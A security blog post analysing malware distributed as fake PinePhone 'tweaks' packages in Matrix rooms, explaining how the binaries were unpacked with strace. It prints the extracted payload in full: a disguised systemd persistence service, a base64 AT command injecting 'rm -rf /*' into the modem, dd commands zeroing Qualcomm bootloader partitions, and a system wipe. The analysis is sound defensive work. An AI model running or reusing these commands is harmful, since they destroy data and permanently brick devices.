Script kiddy strikes back
As you may be aware, a malicious person tried to spread malware through many Matrix rooms used by mobile Linux users and developers, partly taking advantage of a known vulnerability in the stock modem firmware. Here’s a quick analysis of how this malware was supposed to operate.
Disclaimer: while being enthusiastic nerds, none of the Mobian developers is a security expert. We hope this post will provide interesting information to the community but it shouldn’t be considered an exhaustive security report.
Please also note this was by no means a Mobian-only effort: in this post, we’re reporting the findings of the mobile Linux community as a whole, not claiming we did it all by ourselves.
A bit of context
The malware was uploaded to Matrix chat rooms in the form of an installable binary package:
.apkfor postmarketOS.debfor Mobian.pkg.tar.zstfor Arch/Manjaro
Multiple variants were posted such as coathanger or pp-tweaks but, a few
cosmetic differences aside, they all work in the same way and embed the same
malicious payload. In the rest of this post, we’ll take a closer look at the
.deb package (obviously) of the pp-tweaks variant.
This file is an actual package suitable for installation using dpkg or apt.
Its package metadata look valid and contain the following description:
Description: Tweaks for PinePhone and PinePhone Pro as well as various other
devices such as the Oneplus 6 and the Poco F1
Although it’s obvious that the package has been handcrafted rather than
generated using the usual Debian packaging tools (no checksums included in the
package metadata, for example), and except for the contents of the
Maintainer field (layla289, maybe an
Eric Clapton fan?), the package doesn’t
look harmful at this point.
The following files are installed from this package:
/usr/bin/pp-tweaks-gtk/usr/lib/pp-tweaks-postinstall
It also contains the following post-install script, automatically run by dpkg
once the package files have been installed to the system:
#!/bin/sh
/usr/lib/pp-tweaks-postinstall
exit 0
While it’s not unusual for a Debian package to contain such a script, having it
run only a newly installed executable is rather strange, especially if said
executable is sitting in /usr/lib! The malware is therefore meant to operate
that way:
- user invokes
sudo dpkg -i pp-tweaks.deb, grantingdpkgroot permissions (this is required, otherwise it won’t be able to copy files to the target directories) dpkgextracts the files and runs the post-install script, which also has root privilegespp-tweaks-postinstallis executed, obviously still with root privileges
The actual malware is therefore pp-tweaks-postinstall, pp-tweaks-gtk
being probably just a distraction. However, the latter could give us useful
information while being presumably safer to run, in case it can run at all.
Initial static analysis
Unix systems provide a number of useful commands by default, in particular:
filegives us information about the type of a given filestringsextracts all human-readable character strings from a binary file
In the case of pp-tweaks-*, file outputs the following:
pp-tweaks-gtk: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux),
statically linked, no section header
The files are statically linked so they don’t depend on libraries of the host system. This allows this binary to be executed on any ARM64 Linux device, no matter which distribution it runs.
Running strings reveals the following, among other things:
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $
We now know that those files are auto-extractible executables compressed using UPX. We can easily extract those by installing the appropriate software and can discover the resulting executables are also ARM64 ELF files, statically linked and stripped (all debug information removed, make them lighter but also more difficult to reverse-engineer).
strings doesn’t find anything of interest this time, but other variants
contain the following noteworthy strings:
- in
coathanger-gtk:
purism still haven't refunded or shipped my librem 5.
diana, if you're reading this (which could be possible) i have to say that i love you!
- in
coathanger-postinstall:
i just want to say i love you diana!
purism why do you steal our money and run away with it?? refund our money or at least ship a development phone instead of nothing!!
Like us, you’re probably dying to know this Diana, but sadly we doubt that this will ever happen.
Some of our developers put out the big guns and decided to reverse-engineer the binaries1 using ghidra, which unfortunately didn’t bring any conclusive result, except for a growing perplexity when being faced with some of the algorithms appearing in those files.
Livin’ on the edge
In order to analyze more thoroughly the behaviour of those binaries, some of us took the calculated risk of running them in a controlled environment. The PinePhone can easily provide such an environment when you have a spare device, as many developers do:
- wipe clean the internal eMMC
- switch off all radios and peripheral hardware (4G modem, WiFi/Bluetooth, cameras) killswitches so all sensitive parts are physically disabled and login via UART/serial console is enabled, resulting in an effectively air-gapped device and suitable testing environment
- flash an SD card with a new OS image and transfer the binary files onto it before booting the SD
Running pp-tweaks-gtk brings the following result:
mobian@mobian:~$ ./pp-tweaks-gtk
./pp-tweaks-gtk: 6: ldconfig: not found
./pp-tweaks-gtk: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared
object file: No such file or directory
Oddly enough, the static binary seems to try loading a shared library (which
is exactly what static binaries never normally do). Faced with this weird
behavior, we wanted to trace system calls, in case something interesting would
pop up. At first sight, nothing noteworthy appears from executing
strace ./pp-tweaks-gtk
However, the last few lines reveal interesting things:
write(1, "./pp-tweaks-gtk: error while loa"..., 132) = 132
exit_group(0) = ?
+++ exited with 0 +++
write() is called on file descriptor 1, which is the convention for
stdout (standard output), whereas error message are usually directed to fd
2 (stderr, or standard error). Likewise, the program exits with code 0,
which is the convention for “this program completed its task succesfully and
didn’t encounter any major issue”.
This calls for a closer look, and we end up spotting the following suspicious line:
execve("/bin/sh", ["./pp-tweaks-gtk", "-c", " "...,
"./pp-tweaks-gtk"], 0x7ffc53a1d8 /* 28 vars */) = 0
In particular, " "... refers to a string
beginning with many whitespaces, truncated (by strace) for being too long.
Re-running strace with the -s 10240 option (don’t truncate strings under
10K characters) gives us the following (removed most of the initial whitespaces
and added newlines for clarity):
execve("/bin/sh", ["./pp-tweaks-gtk", "-c", " ...(many many whitespaces)...
#!/bin/sh\n\nmsgcode1=\"i just want to say that i love my gf\"\nmsgco
de2=\"purism why you still have not shipped the librem 5??? stop maki
ng money and ship your fucking phones!!!!\"\n\nif ldconfig -p | grep
-q libgtk-x11-2.0.so\nthen\n\techo \"$0: error while loading shared l
ibraries: libgtk-x11-2.0.so: cannot open shared object file: Error 24
\"\nelse\n\techo \"$0: error while loading shared libraries: libgtk-x
11-2.0.so: cannot open shared object file: No such file or directory\
"\nfi\n", "./pp-tweaks-gtk"], 0x7fd44fc6a8 /* 28 vars */) = 0
This strace “signature” is a characteristic of executables created by
shc, a utility designed for embedding shell
scripts into executable binary files. shc encrypts the script using the RC4
algorithm before embedding it into C code, effectively turning the clear-text
script into (seemingly) meaningless binary data. This explains why we weren’t
able to extract it using strings.
So in the end, pp-tweaks-gtk simply executes a shell script embedded (and
obfuscated) inside the binary itself! Here’s the script in question:
#!/bin/sh
msgcode1="i just want to say that i love my gf"
msgcode2="purism why you still have not shipped the librem 5??? stop making money and ship your fucking phones!!!!"
if ldconfig -p | grep -q libgtk-x11-2.0.so
then
echo "$0: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared object file: Error 24"
else
echo "$0: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared object file: No such file or directory"
fi
Oh, hello again, angry Romeo!
So what this script does is pretty simple: it prints what appears to be an
error message (while it’s only what the program is meant to do) in order to
fool the victim. Thankfully, while being a good example of poorly engineered
software, this little script can’t do any harm, even if it were run as root.
The other executable, however, is way more evil…
Main course
By doing the same on pp-tweaks-postinstall (but with -s 10000000 as the script
is waaay bigger here), we can extract the following script:
#!/bin/sh
echo "Enabling tweaks daemon"
mkdir -p /usr/lib/gtk-3.0
echo "<376k base64-encoded data>" | base64 -d > /usr/lib/gtk-3.0/gtk-helper
chmod +x /usr/lib/gtk-3.0/gtk-helper
# systemd
if [ -f /usr/lib/systemd/systemd ]; then
mkdir -p /usr/lib/systemd/system
cat > /usr/lib/systemd/system/polkilt.service <<EOF
[Unit]
Description=Authorization Manager
Documentation=man:polkit(8)
[Service]
Type=simple
ExecStart=/usr/lib/gtk-3.0/gtk-helper
[Install]
WantedBy=multi-user.target
EOF
systemctl enable polkilt.service > /dev/null 2>&1
fi
if [ -f /etc/inittab ]; then
echo "tty9::respawn:/usr/lib/gtk-3.0/gtk-helper" >> /etc/inittab
fi
This script creates an executable called /usr/lib/gtk-3.0/gtk-helper
and makes sure this executable is run on startup after each reboot.
Another variant uses the --now option to systemctl enable, so the
binary is started immediately (otherwise it won’t start until the user
reboots).
This executable is, once again, a UPX-compressed file we can strace
in order to retrieve the final script:
#!/bin/sh
msgcode1="i just want to say that i love my gf"
msgcode2="purism why you still have not shipped the librem 5??? stop making money and ship your fucking phones!!!!"
while [ "$(date +)" -lt "$(date --date="2022-02-07T03:00:00" +)" ]; do
sleep 60
done
if [ "$(date +)" -gt "$(date --date="2022-02-07T03:00:00" +)" ]; then
if [ -e /dev/ttyUSB2 ]; then
{ eval "$(echo "ZWNobyAtZSBBVCtRRlVNT0NGRz1cImRtYWNjXCIsXCJcYHNoIC1jIFwncm0gLXJmIC9cKlwnXGBcIlxcclxcbiA+IC9kZXYvdHR5VVNCMg==" | base64 -d)"; } &
fi
# remove qualcomm s/xbl
for i in /dev/disk/by-partlabel/xbl*
do
[ -e "$i" ] || break
dd if=/dev/zero of=/dev/disk/by-partlabel/"$i" || true
done
for i in /dev/disk/by-partlabel/sbl*
do
[ -e "$i" ] || break
dd if=/dev/zero of=/dev/disk/by-partlabel/"$i" || true
done
# shellcheck disable=SC2115
rm -rf /*
fi
The first part is a wait loop: for some reason, the author wants its malware to wait until 3am on Feb 7th before doing anything harmful.
Past this date, it checks if there’s a /dev/ttyUSB2 device (one of the ports
exposed by the PinePhone’s modem, which can be used to send AT commands to the
modem), in which case another piece of obfuscated (base64-encoded) code is
executed. This data decodes into the following command:
echo -e AT+QFUMOCFG=\"dmacc\",\"\`sh -c \'rm -rf /\*\'\`\"\\r\\n > /dev/ttyUSB2
This command basically executes the following on the modem, wiping out all data:
sh -c 'rm -rf /*'
The goal here is obviously to brick the modem to the point where it needs to be manually put into EDL mode (by shorting 2 test points on the PinePhone’s main board) in order to be reflashed.
The next lines are even more vicious to some users: they clear any partition
which name starts with xbl or sbl. Those partitions can be present on
Qualcomm-based devices such as the OnePlus 6 or Pocophone F1. On those devices,
the bootloader(s) are closed-source, signed binaries installed on dedicated
partitions. Depending on the exact SoC used, those partitions can have various
names, for example here are the relevant ones from the OnePlus 6:
xbl_aandxbl_b: Qualcomm’s UEFI bootloader, sets up secure boot and loads the next element in the boot chainabl_aandabl_b: Android bootloader (UEFI application executed by XBL), loads and boots the kernel
Deleting those partitions would therefore make the phone unable to boot at all, likely ending up permanently bricking the device.
Notes:
- devices using a different Qualcomm SoC will likely have different booloaders, just keep in mind those components are required for the device to boot at all
- the OnePlus 6 uses an A/B partition scheme, devices not implementing this
feature will present the same partitions, minus the
_aand_bsuffixes sblpartitions are not present on the OnePlus 6 but can exist on devices with a different Qualcomm SoC
Finally, the script (tries to) delete the whole system currently running on the phone.
Why it doesn’t work
This malware has obviously not been really tested and exhibits a major flaw:
the multiple levels of encapsulation (a shell script converted to an executable
binary using shc, then encoded into base64 and included into another script,
again converted to an executable binary) lead to a very large payload in
pp-tweaks-postinstall. When executed, it exits with the following error:
mobian@mobian:~$ ./pp-tweaks-postinstall
./pp-tweaks-postinstall: Argument list too long: /bin/sh
This means the malware (/usr/lib/gtk-3.0/gtk-helper) cannot be extracted nor
installed, and so shouldn’t cause any trouble.
Warning: this stunt has been performed by trained and experienced developers, don’t try this at home!
Conclusion
This malware is nothing more than an angry script-kiddy trying to clumsily exploit a known security vulnerability. The techniques used are rather basic and the lack of proper testing basically voids the whole effort.
This attempt fuels the often-heard advice that one shouldn’t blindly accept gifts from strangers, which proves even more true when dealing with software. Protecting oneself from such “attacks” is, in the end, as simple as following those rules:
- never run a program from an unknown source, unless a trustworthy entity had a chance to analyze its source code and check it would indeed perform the function it’s advertised for without causing any harm to the user or its system
- by extension, never install a package from an unknown and/or untrusted source
- do not execute any software as
rootunless you’re absolutely convinced it can be trusted
This episode also emphasizes the lack of diligence from Quectel in fixing a known vulnerability. Thankfully, the community (personified in this case by @biktorgj) has developed an alternative firmware for the modem used by both the PinePhone and PinePhone Pro, in which this vulnerability has been patched out.
One question remains, though: who the hell is this Diana?